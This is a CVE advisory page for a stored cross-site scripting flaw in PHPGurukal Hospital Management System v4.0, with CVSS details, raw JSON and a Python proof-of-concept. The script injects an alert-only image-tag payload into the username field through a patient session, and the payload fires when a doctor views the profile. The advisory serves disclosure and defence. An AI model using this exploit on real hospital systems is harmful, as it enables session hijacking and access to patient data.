Security Vulnerability Report
中文
CVE-2026-36388 CVSS 5.4 MEDIUM

CVE-2026-36388

Published: 2026-05-07 16:16:19
Last Modified: 2026-05-07 18:45:48

Description

A Cross-Site Scripting (XSS) vulnerability was found in PHPGurukal Hospital Management System v4.0 in the /hospital/hms/edit-profile.php page. This flaw allows an authenticated attacker (patient) to inject a malicious script payload into the User Name parameter, which is stored in the application and later rendered in the doctor s interface.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PHPGurukal Hospital Management System 4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for the vulnerable profile edit page target_url = "http://target-ip/hospital/hms/edit-profile.php" # Attacker session cookie (obtained after logging in as a patient) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious payload to be injected into the User Name field # This payload will execute when a doctor views the profile xss_payload = "<img src=x onerror=alert('XSS-By-Patient')>" # Data payload for the POST request post_data = { "fullname": "Test Patient", "username": xss_payload, # Vulnerable parameter "contact": "1234567890", "submit": "Update Profile" } try: # Send POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Wait for an admin/doctor to view the profile to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36388", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:19.127", "lastModified": "2026-05-07T18:45:48.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Scripting (XSS) vulnerability was found in PHPGurukal Hospital Management System v4.0 in the /hospital/hms/edit-profile.php page. This flaw allows an authenticated attacker (patient) to inject a malicious script payload into the User Name parameter, which is stored in the application and later rendered in the doctor s interface."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "http://phpgurukal.com", "source": "[email protected]"}, {"url": "https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36388", "source": "[email protected]"}, {"url": "https://github.com/raneishajustin/CVE/tree/main/CVE-2026-36388", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}